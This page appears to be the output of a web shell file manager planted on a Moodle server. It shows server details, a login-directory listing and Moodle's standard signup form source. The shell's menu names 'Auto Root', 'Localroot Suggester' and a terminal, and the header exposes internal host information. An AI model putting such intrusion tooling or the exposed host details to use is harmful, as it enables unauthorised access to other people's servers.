Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
login /
Delete
Unzip
Name
Size
Permission
Date
Action
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
change_password.php
5.28
KB
-rw-r--r--
2017-06-22 15:30
change_password_form.php
4.57
KB
-rw-r--r--
2017-06-22 15:30
confirm.php
3.95
KB
-rw-r--r--
2017-06-22 15:30
forgot_password.php
3.57
KB
-rw-r--r--
2017-06-22 15:30
forgot_password_form.php
3.8
KB
-rw-r--r--
2017-06-22 15:30
index.php
12.78
KB
-rw-r--r--
2017-06-22 15:30
lib.php
14.78
KB
-rw-r--r--
2017-06-22 15:30
logout.php
1.99
KB
-rw-r--r--
2017-06-22 15:30
restored_password_form.php
1.82
KB
-rw-r--r--
2017-06-22 15:30
set_password_form.php
4.5
KB
-rw-r--r--
2017-06-22 15:30
signup.php
3.23
KB
-rw-r--r--
2017-06-22 15:30
signup_form.php
6.54
KB
-rw-r--r--
2017-06-22 15:30
token.php
3.7
KB
-rw-r--r--
2017-06-22 15:30
unlock_account.php
1.78
KB
-rw-r--r--
2017-06-22 15:30
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * User sign-up form. * * @package core * @subpackage auth * @copyright 1999 onwards Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->libdir.'/formslib.php'); require_once($CFG->dirroot.'/user/profile/lib.php'); require_once($CFG->dirroot . '/user/editlib.php'); class login_signup_form extends moodleform implements renderable, templatable { function definition() { global $USER, $CFG; $mform = $this->_form; $mform->addElement('header', 'createuserandpass', get_string('createuserandpass'), ''); $mform->addElement('text', 'username', get_string('username'), 'maxlength="100" size="12"'); $mform->setType('username', PARAM_RAW); $mform->addRule('username', get_string('missingusername'), 'required', null, 'client'); if (!empty($CFG->passwordpolicy)){ $mform->addElement('static', 'passwordpolicyinfo', '', print_password_policy()); } $mform->addElement('passwordunmask', 'password', get_string('password'), 'maxlength="32" size="12"'); $mform->setType('password', core_user::get_property_type('password')); $mform->addRule('password', get_string('missingpassword'), 'required', null, 'client'); $mform->addElement('header', 'supplyinfo', get_string('supplyinfo'),''); $mform->addElement('text', 'email', get_string('email'), 'maxlength="100" size="25"'); $mform->setType('email', core_user::get_property_type('email')); $mform->addRule('email', get_string('missingemail'), 'required', null, 'client'); $mform->setForceLtr('email'); $mform->addElement('text', 'email2', get_string('emailagain'), 'maxlength="100" size="25"'); $mform->setType('email2', core_user::get_property_type('email')); $mform->addRule('email2', get_string('missingemail'), 'required', null, 'client'); $mform->setForceLtr('email2'); $namefields = useredit_get_required_name_fields(); foreach ($namefields as $field) { $mform->addElement('text', $field, get_string($field), 'maxlength="100" size="30"'); $mform->setType($field, core_user::get_property_type('firstname')); $stringid = 'missing' . $field; if (!get_string_manager()->string_exists($stringid, 'moodle')) { $stringid = 'required'; } $mform->addRule($field, get_string($stringid), 'required', null, 'client'); } $mform->addElement('text', 'city', get_string('city'), 'maxlength="120" size="20"'); $mform->setType('city', core_user::get_property_type('city')); if (!empty($CFG->defaultcity)) { $mform->setDefault('city', $CFG->defaultcity); } $country = get_string_manager()->get_list_of_countries(); $default_country[''] = get_string('selectacountry'); $country = array_merge($default_country, $country); $mform->addElement('select', 'country', get_string('country'), $country); if( !empty($CFG->country) ){ $mform->setDefault('country', $CFG->country); }else{ $mform->setDefault('country', ''); } profile_signup_fields($mform); if (signup_captcha_enabled()) { $mform->addElement('recaptcha', 'recaptcha_element', get_string('security_question', 'auth'), array('https' => $CFG->loginhttps)); $mform->addHelpButton('recaptcha_element', 'recaptcha', 'auth'); $mform->closeHeaderBefore('recaptcha_element'); } if (!empty($CFG->sitepolicy)) { $mform->addElement('header', 'policyagreement', get_string('policyagreement'), ''); $mform->setExpanded('policyagreement'); $mform->addElement('static', 'policylink', '', '<a href="'.$CFG->sitepolicy.'" onclick="this.target=\'_blank\'">'.get_String('policyagreementclick').'</a>'); $mform->addElement('checkbox', 'policyagreed', get_string('policyaccept')); $mform->addRule('policyagreed', get_string('policyagree'), 'required', null, 'client'); } // buttons $this->add_action_buttons(true, get_string('createaccount')); } function definition_after_data(){ $mform = $this->_form; $mform->applyFilter('username', 'trim'); // Trim required name fields. foreach (useredit_get_required_name_fields() as $field) { $mform->applyFilter($field, 'trim'); } } function validation($data, $files) { $errors = parent::validation($data, $files); if (signup_captcha_enabled()) { $recaptcha_element = $this->_form->getElement('recaptcha_element'); if (!empty($this->_form->_submitValues['recaptcha_challenge_field'])) { $challenge_field = $this->_form->_submitValues['recaptcha_challenge_field']; $response_field = $this->_form->_submitValues['recaptcha_response_field']; if (true !== ($result = $recaptcha_element->verify($challenge_field, $response_field))) { $errors['recaptcha'] = $result; } } else { $errors['recaptcha'] = get_string('missingrecaptchachallengefield'); } } $errors += signup_validate_data($data, $files); return $errors; } /** * Export this data so it can be used as the context for a mustache template. * * @param renderer_base $output Used to do a final render of any components that need to be rendered for export. * @return array */ public function export_for_template(renderer_base $output) { ob_start(); $this->display(); $formhtml = ob_get_contents(); ob_end_clean(); $context = [ 'formhtml' => $formhtml ]; return $context; } }